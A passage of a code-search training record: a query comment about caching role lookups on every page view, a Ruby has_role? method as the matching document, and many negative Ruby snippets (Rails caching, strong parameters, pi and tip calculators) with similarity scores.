:due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
This method gets called many times on every page view so it needs to cache as much as possible.
def has_role?(role_id) cur_user_id = self.user_id has_role = false # puts "" # Check if we already have the query cached if Roles_Cache.has_key?(cur_user_id) # puts "\t1. Checking cache for role_id = #{role_id} in #{Roles_Cache[cur_user_id].to_s}" if Roles_Cache[cur_user_id].include?(role_id) has_role = true # puts "\t 2. Sucessfully retrieved the role from cache" end else the_users_roles = [] self.roles.uniq.each do |role| the_users_roles << role.role_id end # puts "\t1. Queried database for role_id = #{role_id} and got #{the_users_roles.to_s}" # Store the role array in memory Roles_Cache[cur_user_id] = the_users_roles if the_users_roles.include?(role_id) # puts "\t 2. Successfully retrieved the role from the database" has_role = true end end return has_role end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cached?; end", "def index\n no_cache\n super\n end", "def cache_on?; end", "def cache_on?; end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "def configure_cache; end", "def rebuild_top_page_cache\n controller = ActionController::Base.new\n controller.expire_fragment( 'top_page')\n controller.expire_fragment( 'more_photos')\n controller.expire_fragment( 'left_block' )\n #load page to regenerate cache\n Net::HTTP.get 'pantherfotos.com' #TODO extract from routes\n end", "def disable_caching; end", "def flush_cache; end", "def move_to_cache\n true\n end", "def clear_cache; end", "def _cache_control; end", "def filter_cache; end", "def move_to_cache\r\n true\r\n end", "def _template_cache\n @cache ||= {}\n end", "def move_to_cache\n true\n end", "def move_to_cache\n true\n end", "def move_to_cache\n true\n end", "def cache_store; end", "def cache_store; end", "def instance_cache; end", "def disable_cache; end", "def cache_clear\n DrgCms.cache_clear(:dc_page)\nend", "def cache\n yield\n end", "def update\n download_page if cache_expired?\n read_cache\n end", "def cached_render\n if Global.file_cache\n cached_render_file\n else\n cached_render_memory\n end\n end", "def cache_value?; end", "def page_cache_file(url)\n ActionController::Base.send :page_cache_file, url.gsub(/^https?:\\/\\//, '')\n end", "def set_page_caching_status\n @page_caching_active = page_caching_active\n end", "def cache_shared_page(*args)\n around_action :capture_and_apply_surrogate_keys, *args\n end", "def pictures_nocache\r\n plan_id = params[:id]\r\n str = pictures_helper(plan_id)\r\n\r\n #MES- Is there a cache entry?\r\n cache_entry = @@pictures_cache[plan_id]\r\n if !cache_entry.nil?\r\n #MES- Is it stale?\r\n if cache_entry != str\r\n #MES- It's stale, reset it\r\n @@pictures_cache[plan_id] = str\r\n end\r\n end\r\n render :text => str\r\n end", "def add_cache_control; end", "def page_load; end", "def refresh_cache\n return unless @p.user.is_admin\n return unless request.delete?\n expire_fragment('app_flickr_pics')\n flash[:notice] = \"Cache Cleared!\"\n redirect_back_or_default('/admin')\n end", "def disable_caching=(_arg0); end", "def cache_page?\n return false unless @page && Alchemy::Config.get(:cache_pages)\n pagelayout = PageLayout.get(@page.page_layout)\n pagelayout['cache'] != false && pagelayout['searchresults'] != true\n end", "def cached\n raise NotImplementedError\n end", "def cache_request\n cache\n end", "def cache time: 3600, &block\n return yield if 'development' == ENV['RACK_ENV']\n\n key = \"url:#{I18n.locale}:#{request.path}\"\n cached = $redis.get(key)\n page = cached || yield\n etag Digest::SHA1.hexdigest(page)\n\n if cached\n ttl = $redis.ttl(key)\n response.header['redis-ttl'] = ttl.to_s\n response.header['redis'] = 'HIT'\n else\n response.header['redis'] = 'MISS'\n $redis.setex(key, time, page)\n end\n page\n end", "def update_cache\r\n Rails.cache.delete(\"All#{self.class.name.to_s}\")\r\n end", "def clear_cached_vars\n @_rendered , @_versions = false , false\n end", "def should_cache?\n false\n end", "def cached\n self\n end", "def set_cache_buster\n \n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n\n end", "def index\n expires_in 5.minutes\n if params[:search]\n @books = Book.search(params[:search],current_user.id)\n @books = @books.paginate(page: params[:page], per_page: 12).order('created_at DESC')\n else\n\n book_list = Rails.cache.fetch(:book_list) do\n book_list = Book.where(\"user_id = ? OR ispublic = 1\",current_user.id)\n end\n=begin\nslow_object = Rails.cache.fetch(:book_list) do\ncreate_slow_object\nend\n=end\n #coauthored_book_list = Coauthor.book.where(\"user_id = ?\",current_user.id)\n @books = book_list.paginate(page: params[:page], per_page: 12).order('created_at DESC')\n @books.each do |book|\n book.avgrating = average_rating(book.id)\n end\n end\n respond_to do |format|\n format.html\n format.js\n end\n end", "def cache(data); end", "def vary_page_caching_on_user\n response.headers['Vary'] = 'Cookie'\n end", "def cache!\n @@cache\n end", "def cache_size\n super\n end", "def generate_page_cache\n if runtime_mode == :plugin\n @errors = [\"Page cache cannot be generated in plugin mode\"]\n else\n @errors = generate_all_pages_html(params)\n end\n if @errors.length == 0 \n flash[:notice] = \"Pages Cached Successfully\"\n else\n flash[:notice] = \"Pages Cache Error(s): #{@errors.join(', ')}\"\n flash[:cache_errors] = @errors \n end\n redirect_to :controller=>self.controller_name, :action=>'index'\n end", "def singleton_cache; end", "def set_page_caching_status\n if perform_caching && caching_allowed\n @page_caching_active = true\n else\n @page_caching_active = false\n end\n end", "def expire_cardset_frontpage_cache\n [\"edityes\", \"editno\", \"infobox\"].each {|suffix| \n expire_fragment :controller => 'cardsets', :id => @cardset.id, :action => 'show', :action_suffix => suffix\n }\n end", "def prepareForReuse; end", "def cache_cms_page\n unless Comatose.config.disable_caching or response.headers['Status'] == '404 Not Found'\n return unless params[:use_cache].to_s == 'true' and allow_page_cache?\n path = params[:cache_path] || request.request_uri\n begin\n # TODO: Don't cache pages rendering '404' content...\n self.class.cache_page( response.body, path )\n rescue\n logger.error \"Comatose CMS Page Cache Exception: #{$!}\"\n end\n end\n end", "def cache_collect\n\t\tRepository.repo.get_from_cache(@template)\n\tend", "def photo__cache\r\n@photo_cache ||= {}\r\nend", "def fetch_sitemap\n sitemap = Rails.cache.read('sitemap')\n \n if sitemap.nil?\n puts \"#> sitemap MISSED cache\"\n sitemap = generate_sitemap\n @view_state[:sitemap] = sitemap\n Rails.cache.write('sitemap', sitemap)\n else\n puts \"#> sitemap HIT cache\"\n @view_state[:sitemap] = sitemap\n end\n end", "def clear_cache() @cache = {}; end", "def cache_location\n $redis.lpush(\"user-pages-#{@current_user.id}\", request.url)\n $redis.ltrim(\"user-pages-#{@current_user.id}\", 0, 9)\n end", "def set_cache(value); end", "def set_cache(value); end", "def use_clean_cache\n ActionController::Base.config.cache_store = Rails.cache = ActiveSupport::Cache::MemoryStore.new\n end", "def cacheable_data\n @cacheable_data ||= {}\n .merge(@page.liquid_data)\n .merge(LiquidHelper.globals(page: @page))\n .merge(images: images)\n .merge(named_images: named_images)\n .merge(primary_image: image_urls(@page.image_to_display))\n .merge(shares: Shares.get_all(@page))\n .merge(follow_up_url: follow_up_url)\n end", "def after_update(page)\n expire_cache_for(page)\n end", "def invalidate_cache\n # ActionController::Base.new.expire_fragment(\"car_images_#{self.id}\")\n # ActionController::Base.new.expire_fragment(\"admin_car_#{self.id}\")\n end", "def cache?\n false\n end", "def pictures_cached\r\n plan_id = params[:id]\r\n #MES- Can we find the pictures sidebar text in the cache?\r\n cache_entry = @@pictures_cache[plan_id]\r\n str = ''\r\n if cache_entry.nil?\r\n #MES- The pictures sidebar is NOT in the cache, get the string and\r\n # put it in the cache\r\n str = pictures_helper(plan_id)\r\n @@pictures_cache[plan_id] = str\r\n else\r\n #MES- The pictures sidebar IS in the cache- get the string\r\n str = cache_entry\r\n #MES- The cache entry MAY be stale, so append some JavaScript that'll update the\r\n # HTML\r\n str += render_to_string(:partial => 'pictures_cached_javascript')\r\n end\r\n render :text => str\r\n end", "def load_cache\n @load_cache\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def refresh_cache\n @cache = build_cache\n end", "def prevent_page_caching\n response.headers['Cache-Control'] = 'private, max-age=0, must-revalidate'\n end", "def uncached\n yield\n end", "def cache_query?\n false\nend", "def cache_query?\n false\nend", "def move_to_cache\n false\n end", "def cache_buster\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end", "def counter_cache; end", "def cache_response(resource, single_resource)\n super resource, false\n end", "def page_cache(page)\n if page\n \"/page-#{page}\"\n else\n \"\"\n end\n end", "def index\n @articles = cache_articles\n end", "def after_create(page)\n expire_cache_for(page)\n end", "def write_cache?\n if site.front_page_cached and c = cache_url\n #Rails.logger.info(\"request.path:::: #{request.path}\")\n cache_page(response.body, File.join(site.cache_path, c).to_s)\n end\n end", "def page_views\n post_name = self.url.split('/').last\n cache_dir_path = File.join(Dir.pwd, PAGE_VIEWS_CACHE)\n post_path = File.join(Dir.pwd, PAGE_VIEWS_CACHE, post_name)\n\n if File.exists?(post_path)\n read_page_views_cache(post_path)[:views]\n else\n post_views = 0\n page_views_content = { path: self.url, views: post_views }\n cache_page_views(page_views_content, post_path)\n post_views\n end\n end", "def render_page_from_cache\n if cached_page.live_exists?\n render :file => cached_page.live_path\n return true\n else\n render :text => 'Currently not in cache', :status => 503\n return false\n end\n end", "def set_cache_control\r\n @view.headers['Cache-Control'] ||= ie_request? ? 'no-cache, must-revalidate' : ''\r\n end", "def cache_timeout\n super\n end", "def cache_page_with_references\n return unless perform_caching && caching_allowed\n CachedPage.create_by_url(site, url_for(:only_path => true, :skip_relative_url_root => true), cached_references)\n end", "def cache\n DataCache\n end", "def cached_view_context(engine=nil)\n @_view_context_cache ||= clean_view_context(engine)\n end", "def set_cache_buster\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end", "def cached_based_on(*whatever)\n segmented_path = lazy_cache_key_for(*whatever)\n (@controller || self).read_fragment(segmented_path) || (@controller || self).write_fragment(segmented_path, yield)\n end", "def pages_cache_key\n [\n Page.count,\n Page.order(\"updated_at DESC\").first\n ]\n end" ]
[ "0.71552026", "0.71552026", "0.71552026", "0.71552026", "0.71552026", "0.71552026", "0.71552026", "0.6845412", "0.6766457", "0.66386235", "0.66386235", "0.6630219", "0.6621704", "0.6614086", "0.6560753", "0.6546248", "0.6525793", "0.6514219", "0.64824677", "0.64020425", "0.63992625", "0.6393105", "0.6392812", "0.6392812", "0.6392812", "0.6334962", "0.6334962", "0.6313235", "0.6298998", "0.6295239", "0.6293508", "0.62797415", "0.62626153", "0.6211495", "0.61978745", "0.6197845", "0.61532986", "0.6138971", "0.6100228", "0.60955507", "0.609116", "0.60661805", "0.6062696", "0.6057507", "0.6055105", "0.6049356", "0.6048314", "0.6046918", "0.60380137", "0.60371965", "0.6035541", "0.6023109", "0.6021193", "0.60206485", "0.60165304", "0.6007614", "0.59846884", "0.5982713", "0.5980589", "0.59708995", "0.5968368", "0.59610486", "0.5959702", "0.5948723", "0.5947663", "0.5936446", "0.59309196", "0.5919651", "0.5919651", "0.59105444", "0.5906914", "0.5895381", "0.5894203", "0.5890193", "0.58790565", "0.5861345", "0.5859877", "0.5859877", "0.5857635", "0.585407", "0.5844886", "0.58442783", "0.58442783", "0.58273214", "0.5821728", "0.58197856", "0.58142734", "0.58079374", "0.5805765", "0.58015984", "0.5797207", "0.5796906", "0.57964116", "0.5795125", "0.5792735", "0.57731295", "0.5771896", "0.5763523", "0.5755126", "0.5748985", "0.57437587" ]
0.0
-1
Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go.
def chosen_digit return gets.chomp.to_i end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def my_pi(n)\n\treturn Math::PI.round(n)\nend", "def my_pi(n)\n\t#p Math::PI\n\tMath::PI.round(n)\nend", "def compute_pi(digits: 15)\n precision = digits\n result = BigMath.PI(precision)\n result = result.truncate(precision).to_s\n result = result[2..-1] # Remove '0.'\n result = result.split('e').first # Remove 'e1'\n result.insert(1, '.')\n end", "def calculate_pi(number)\n denominator = 1.0\n operation = 1.0\n pi = 0\n\n (1..number).each do |_count|\n pi += operation * (4.0 / denominator)\n denominator += 2.0\n operation *= -1.0\n end\n\n pi\nend", "def converter(n, decimals=0, base=$pi)\r\n #your code here\r\nend", "def approximate_pi\n puts \"each dot is #{PROGRESSOR_SAMPLE_PERIOD} picks out of #{NUMBER_OF_SAMPLES} total samples\"\n\n running_total_of_circle_hits = 0\n\n NUMBER_OF_SAMPLES.times do |i|\n running_total_of_circle_hits += 1 if random_coordinate_inside_unit_circle\n\n print_progress_bar_at i\n end\n\n puts '' # ends the progress bar\n\n (4.0 * running_total_of_circle_hits) / NUMBER_OF_SAMPLES\nend", "def pi(n)\n t = 0\n start_i = 0\n\n while start_i < n\n r = rand\n p = (1 - (r * r)) ** 0.5\n t += p\n start_i += 1\n end\n\n 4 * t / n\nend", "def radius_calc\n puts \"Enter the radius value\"\n radius = gets.to_f\n pi = Math::PI\n perimeter = 2 * pi * radius\n area = pi * radius**2\n puts \"Input the radius of the circle: #{radius}\"\n puts \"The perimeter is #{perimeter}\"\n puts \"The area is #{area}\"\nend", "def approx_pi(rational)\n pi_4 = 0\n k = 0\n precision = rational.to_s.count('0')\n begin\n pi_4_before = pi_4\n pi_4 += ((-1.0)**k) / (2.0 * k + 1.0)\n k += 1\n end until (pi_4 * 4).floor(precision) == (pi_4_before * 4).floor(precision)\n (pi_4 * 4).floor(precision)\n end", "def npi; end", "def Potencia\n print \"Ingrese El numero: \"\n numero1 = gets.chomp.to_f\n print \"Ingrese la Potencia: \"\n numero2 = gets.chomp.to_f\n\n puts \"\\nPotencia: #{numero1 ** numero2}\"\n end", "def calcpi()\n\n pi = 0.0\n rep = $PI_ITER\n \n while rep >= 0\n \n pi += 1.0 / pow(16.0, rep) * (4.0 / (8.0 * rep + 1.0) - 2.0 / (8.0 * rep + 4.0) - 1.0 / (8.0 * rep + 5.0) - 1 / (8.0 * rep + 6.0))\n rep -= 1\n\t\t\n end\n\t\n return pi\nend", "def fetch_number(prompt)\n\tprint prompt\n\tgets.to_f #allow decimal input\nend", "def check_apr_percentage(num)\n loop do\n if !PERCENT.match(num)\n message(MC['num_prompt_percent'])\n num = Kernel.gets().chomp()\n else\n break\n end\n end\n num\nend", "def perimetro\n return (@pi * 2) * @radio\n end", "def set_PIID(value)\n set_input(\"PIID\", value)\n end", "def calculate_tip\n puts \"What is the bill?\"\n bill = gets.to_f\n puts \"What is the tip percentage?\"\n percent = gets.to_f / 100\n\n tip = (bill * percent)\n total = bill + tip\n\n puts \"The tip is $#{format(\"%.2f\" % tip)}\"\n puts \"The total is $#{format(\"%.2f\" % total)}\"\nend", "def always_threes\n puts \"Give me a number\"\n number = gets.to_i\n puts \"Always \" + (((number + 5) * 2 - 4) / 2 - number).to_s + \"!\"\nend", "def Multiplicar_Cadena\n print \"Ingrese su cadena: \"\n cadena = gets.chomp\n print \"La cantidad de veces a multiplicar: \"\n multiplo = gets.chomp.to_i.abs\n puts \"\\n#{cadena * multiplo}\"\n end", "def get_radius\n puts \"Enter the radius.\"\n radius = gets.chomp.to_f\n return radius\nend", "def lucas(number)\n golden_ratio = (1 + 5**0.5) / 2\n (golden_ratio**number).round.to_i\nrescue StandardError\n 'Error: Provide number only!'\nend", "def always\n print \"Give me a number: \"\n number = gets.chomp.to_i\n puts ((number+5)*2-4)/2\nend", "def solution(value)\n # enter your solution here\n value.round(2)\nend", "def tip_calculator\n puts \"What is the bill?\"\n bill = gets.to_f\n puts \"What is the tip percentage?\"\n tip_pct = gets.to_f\n\n tip = bill * tip_pct/100\n total_bill = bill + tip\n\n puts \"The tip is $\" + format(\"%2.2f\", tip)\n puts \"The total is $\" + format(\"%2.2f\", total_bill)\nend", "def print_num n\n prep = n < 0 ? \"\" : \" \"\n print \"#{prep}%.2f | \" % n\nend", "def main()\n puts \"Enter Unit:\"\n consumed_unit = gets.to_i\n return 0 if consumed_unit <= 0\n bill = 0\n unit_details = { 1..50 => 0.5, 51..150 => 0.75, 151..250 => 1.2, 251..Float::INFINITY => 1.5 }\n unit_details.each_pair do |unit, rate|\n break if consumed_unit < 0\n units = unit.max == Float::INFINITY ? consumed_unit : unit.count\n if consumed_unit > units\n bill += rate * units\n else\n bill += rate * consumed_unit\n end\n consumed_unit -= units\n end\n bill += bill * 0.2\n return bill.to_i\nend", "def round_of(no,n=0)\n (no * (10.0 ** n)).round * (10.0 ** (-n))\n end", "def Multiplicacion\n print \"Ingrese El numero 1: \"\n numero1 = gets.chomp.to_f\n print \"Ingrese El numeor 2: \"\n numero2 = gets.chomp.to_f\n\n puts \"\\nMultiplicacion: #{numero1 * numero2}\"\n end", "def perimeter radius\n puts radius * radius * PI\n end", "def verify(input)\n until number_check(input)\n puts \"Please enter a number!\"\n input = gets.chomp\n end\n return input.to_f\nend", "def prec_i() end", "def compound_interest\n\tp \"What is the principal amount?\"#\n\tprincipal = gets.chomp.to_i\n\tp \"What is the rate?\"\n\trate = gets.chomp.to_f\n\tp \"What is the number of years?\"\n\tterm = gets.chomp.to_i\n\tp \"What is the number of time the interest in compounded per year?\"\n\tcompounded = gets.chomp.to_i\n\t\n\tnew_rate = ((rate / compounded)/100) + 1\n\ttotal = principal\n\t(term * compounded).times do\n\t\ttotal = total * new_rate\n\tend\n\t\n\tp \"$#{principal} invested at #{rate}% for #{term} years compounded #{compounded} times per year is #{total.round(2)}\"\n\t\nend", "def ask_for_number\n gets.chomp.to_i\n end", "def prompt_for_number(which)\n puts \"==> Enter the #{which} number\"\nend", "def get_user_input_for_test\n\t\tno_of_primes = 0\n\t\tprint \"\\n \\t Enter value for the number of primes you want: \"\n\t\tno_of_primes = gets.chomp.to_i\n\t\tif no_of_primes <= 0\n\t\t\tprint \"Please enter a number( > 0 ): \"\n\t\t\tself.no_of_primes = 0\n\t\t\treturn\n\t\tend\n\t\tself.no_of_primes = no_of_primes\n\tend", "def round_1_sig_fig n \n get_first_digit(n) * 10**length(n)\nend", "def pling_plang_plung\n print \"What is your number? \"\n your_number = gets.to_f\n message = \"\"\n\n if your_number % 3 == 0\n message += \"Pling \"\n puts \"Pling\"\n end\n if your_number % 5 == 0\n message += \"Plang \"\n puts \"Plang\"\n end\n if your_number % 7 == 0\n message += \"Plong \"\n puts \"Plong\"\n end\n if your_number % 3 != 0 && your_number % 5 != 0 && your_number % 7 != 0\n message += your_number\n puts your_number\n end\n\n puts message\n\nend", "def number_solution(value)\n value.round(2)\nend", "def y\n puts \"type a number\"\n u = gets.to_i\n puts \"type a max value\"\n m = gets.to_i\n\n a = []\n i = 0\n while i < m\n i += 1\n a << i\n end\n\n a.each do |x|\n if x % u == 0\n puts x\n else\n end\n end\n\nend", "def tip_calculator()\n print 'What is the bill? '\n bill = gets.chomp\n bill = bill.to_f\n\n print 'What is the tip percentage? '\n percentage = gets.chomp\n percentage = percentage.to_f\n\n tip = (bill * (percentage / 100)).round(2)\n total = (bill + tip).round(2)\n\n puts \"The tip is $#{tip}\"\n puts \"The total is $#{total}\"\nend", "def tip_calc\n puts \"What is the bill?\"\n bill = gets.chomp.to_f\n \n puts \"What is the tip percentage?\"\n tip_perc = gets.chomp.to_f\n tip_perc = (tip_perc / 100).round(2)\n \n tip = bill * tip_perc\n \n total = bill + tip\n \n puts \"The tip is $#{tip}.\"\n puts \"The total is $#{total}.\"\n \nend", "def bill_calc\n puts \"What is the cost of the bill?:\"\n bill = gets.chomp.to_f\n puts \"What is the tip rate percentage?:\"\n tip_percentage= gets.chomp.to_f\n \n tip_total = ((bill / 100) * tip_percentage)\n \n puts \"The tip cost is : #{sprintf('%.2f',(tip_total))}\"\n puts \"The total cost including the tip is #{sprintf('%.2f',(bill + tip_total))}\"\n \nend", "def get_one_number\n\tputs \"What number would you like to use?\"\n # all methods requiring one arg return floats except factorial_calc\n $num1 = gets.chomp.to_f\nend", "def always_three\n \nputs \"please enter a number:\"\nnumberi= gets.to_i\nputs \"always\" + (((((numberi+5)*2)-4)/2)-numberi).to_s\n\nend", "def any_number(*options)\n number = (rand(2 * MAX_RAND) - MAX_RAND).to_f/100.0\n if options.include? :positive\n number + MAX_RAND\n elsif options.include? :negative\n number - MAX_RAND\n else\n number\n end\n end", "def fppr(num_target, num_decoy, pi_not=1.0)\n 1.0 - precision(num_target, num_decoy, pi_not=1.0)\n end", "def ask_for_loan_amt\n puts prompt(:loan_amt)\n loop do\n loan_amt = gets.chomp\n if valid_dollar_amt?(loan_amt)\n return loan_amt.to_f.round(2)\n else\n space_prompts\n puts prompt(:loan_amt_error)\n end\n end\nend", "def pounds_to_k(p)\n\tkilos = p.to_f/2.2\n\tputs kilos\nend", "def fizzbuzz_without_modulo\n please enter a number\n puts \"Please enter a whole number, no decimals\"\n input = gets.chomp.to_i\n ######################### Uncomment this to TEST ALL 1-100\n #100.times do |i|\n # input = i\n #########################################\n #Work around: if #.0/# - #/# > 0\n #if multiple of 3 or 5, fizzbuzz\n if (input/3.0) - (input/3) == 0 && (input/5.0) - (input/5) == 0\n puts \"fizzbuzz\"\n #if multiple of 3, fizz\n elsif\n (input/3.0) - (input/3) == 0\n puts \"fizz\"\n #if multiple of 5, buzz\n elsif\n (input/5.0) - (input/5) == 0\n puts \"buzz\"\n else puts input.to_s\n end\n #########################################\n # end\nend", "def tip\n puts \"What's the bill?\"\n bill = gets.chomp.to_f\n puts \"What's the tip rate?\"\n tip_rate = gets.chomp.to_f\n\n tip = bill * tip_rate / 100\n total = tip.to_f + bill\n\n puts \"The tip is $#{tip}.\"\n puts \"The total is $#{total}.\"\nend", "def double(n)\n n.to_i * 2\n end", "def promedio(num, arreglo)\n puts promedio = num.fdiv(arreglo.count).floor(2)\nend", "def numero(num, places = 0)\n num = num.to_f if num.is_a? String\n num = num.to_f if num.is_a? BigDecimal\n num = 0 if num.nil?\n places = [0, places].max\n # \"%.#{places}f\" % num.round(places)\n # sprintf(\"%#{places}f\", num.round(places))\n format(\"%.#{places}f\", num.round(places))\nend", "def solve(meal_cost, tip_percent, tax_percent)\n\n result = meal_cost * (1 + tip_percent.to_f / 100 + tax_percent.to_f / 100)\n puts result.round()\n \nend", "def solution(value)\n value.round(2)\nend", "def ir_proteina\n @ir_proteina = (@proteinas/50.to_f)*100\n @ir_proteina.round(1)\n end", "def always_three\n \n# ask user to enter a number\nputs \"Please enter a number\"\n\n# get the user number, convert to integer and set to a variable\nnumber = gets.to_i\n\n# add the code that will run when the method is called\nputs \"The final number is always \" + ((((((number) + 5) * 2) - 4) / 2) - number).to_s\n\n# close your method with the end keyword\nend", "def dig_pow(n, p)\n # your code\n num = n.to_s\n total = 0\n for i in (0..(num.size - 1))\n total += (num[i].to_i) ** (p + i)\n end\n\n\n if total % n == 0\n total / n\n else\n -1\n end\nend", "def dig_pow(n, p)\n # your code\n num = n.to_s\n total = 0\n for i in (0..(num.size - 1))\n total += (num[i].to_i) ** (p + i)\n end\n\n\n if total % n == 0\n total / n\n else\n -1\n end\nend", "def pi \n \"pi\" \n end", "def number(N)\r\n N =gets.strip.to_i\r\n if\r\n ( N%2==1 || N>5 && N <= 20)\r\n puts \"Weird\"\r\n else\r\n puts \"Not Weird\"\r\n end\r\nend", "def e_built_in(number_of_decimals)\n\tprintf(\"%.#{number_of_decimals}f\", E(number_of_decimals))\n\tprintf \"\\n\"\nend", "def round() end", "def prompt\n print 'Type an integer number (or q to exit) and press Enter: '\n number = gets\n say_bye_and_exit if number =~ /^q/i\n number = prompt unless number =~ /^\\d+$/\n if number.to_i > 2 ** 64\n puts 'The number you entered is too big. Calculation can run a lot of time! Continue? (y/n)n'\n confirm = gets\n number = prompt unless confirm =~ /^y/i\n end\n number.to_i # to ensure Numeric value returs\nend", "def potatoes(p0, w0, p1)\n # your code\n a = (129 / 100.to_f)\n a * 91\nend", "def circumference_of_circle(r)\n puts PI * 2 * r\nend", "def always_three\n # ask the user for a number\n puts \"Give me a number\"\n # get the user's number with gets & use to_i to convert to an integer\n # set to a variable\n first_number = gets.to_i\n # math and puts on one line!\n puts 'Always ' + (((first_number + 5) * 2 - 4) / 2 - first_number).to_s\n end", "def modulo_of(fraction); end", "def factor(number)\n val = Math.sqrt(number).floor\n while number%val != 0\n val -= 1\n end\n return val\n end", "def tip_calc\n puts \"=> What is the bill?\"\n bill = gets.chomp\n\n puts \"=> What is the tip percentage?\"\n tip_rate = gets.chomp\n\n tip = (tip_rate.to_f/100) * bill.to_f\n total = bill.to_f + tip.to_f\n\n puts \"The tip is $#{tip}\"\n puts \"The total is $#{total}\"\nend", "def calculate # create calculate function\n begin\n $meters.value = (0.3048*$feet*10000.0).round()/10000.0 # if number has been entered calculate meters from feet if\n rescue\n $meters.value = '' # if no number was entered print nothing\n end\nend", "def porcentaje (base,total)\n #Con if o con unless se chequea el cumplimiento de la condicion de la excepción\n raise TypeError, \"El primer argumento es invalido\" unless base.is_a? Numeric\n if !total.is_a? Numeric\n raise TypeError, \"El segundo argumento es invalido\" \n end\n (base*100.0) / total\nend", "def solve(meal_cost, tip_percent, tax_percent)\n puts (meal_cost+(meal_cost*tip_percent/100)+(meal_cost*tax_percent/100)).round\nend", "def multiply\n puts \"enter first number \"\n a = gets.to_f\n puts \"enter second numb4\ner\"\n b = gets.to_f\n result = a * b\n puts result\nend", "def divide_pizza\n p \"How many people?\"\n people = gets.chomp\n p \"How many pizzas do you have?\"\n pizzas = gets.chomp\n slices = pizzas.to_i * 8\n slices_per_person = (slices / people.to_i).floor\n slices_left_over = slices % people.to_i\n p \"#{people} people with #{pizzas} pizzas\"\n p \"Each person gets #{slices_per_person} pieces of pizza\"\n p \"There are #{slices_left_over} pieces left over\"\n\nend", "def get_num\n user_num = gets.chomp\n\n while user_num.to_f == 0 && (user_num != \"0\" && user_num != \"0.0\")\n print \"Sorry. Please enter a valid number: \"\n user_num = gets.chomp\n end\n\n if user_num.include?(\".\")\n return user_num.to_f\n else\n return user_num.to_i\n end\nend", "def always_three\n # ask the user for a number\n puts \"Give me a number\"\n\n # get the user's number with gets & use to_i to convert to an integer\n # set to a variable\n first_number = gets.to_i\n\n # math and puts on one line!\n puts 'Always ' + (((first_number + 5) * 2 - 4) / 2 - first_number).to_s\nend", "def tipCalculator(bill)\r\n\tputs bill * 0.2\r\nend", "def choose_number\n\t\tputs \"Choose a number between 1-10\"\n\t\t$input = gets.chomp.to_i\n\t\tif $input > 10 || $input < 1\n\t\t\tputs \"Invalid number. Please use a number between 1-10\"\n\t\t\tchoose_number\n\t\tend\n\tend", "def input\n\tputs 'What sorta math do ya wanna do?'\n\tputs '1 for addition'\n\tputs '2 for subtraction'\n\tputs '3 for multiplication'\n\tputs '4 for division'\n\tputs '5 for exponent'\n\tputs '6 for squaring'\n\tputs '7 for cubing'\n\tputs '8 for square rooting'\n\tgets.chomp.to_i\nend", "def length_room\n \n puts \"Enter the length of the room in meters:\"\n length_of_room = gets.chomp.to_i\n \n puts \"Enter the width of the room in meters:\"\n width_of_room = gets.chomp.to_f\n \n \n area = length_of_room * width_of_room\n area_in_feet = area * 10.7639\n area_in_feet = area_in_feet.round(2)\n \n puts \"The area of the room is #{area} square meters (#{area_in_feet} square feet.)\"\n 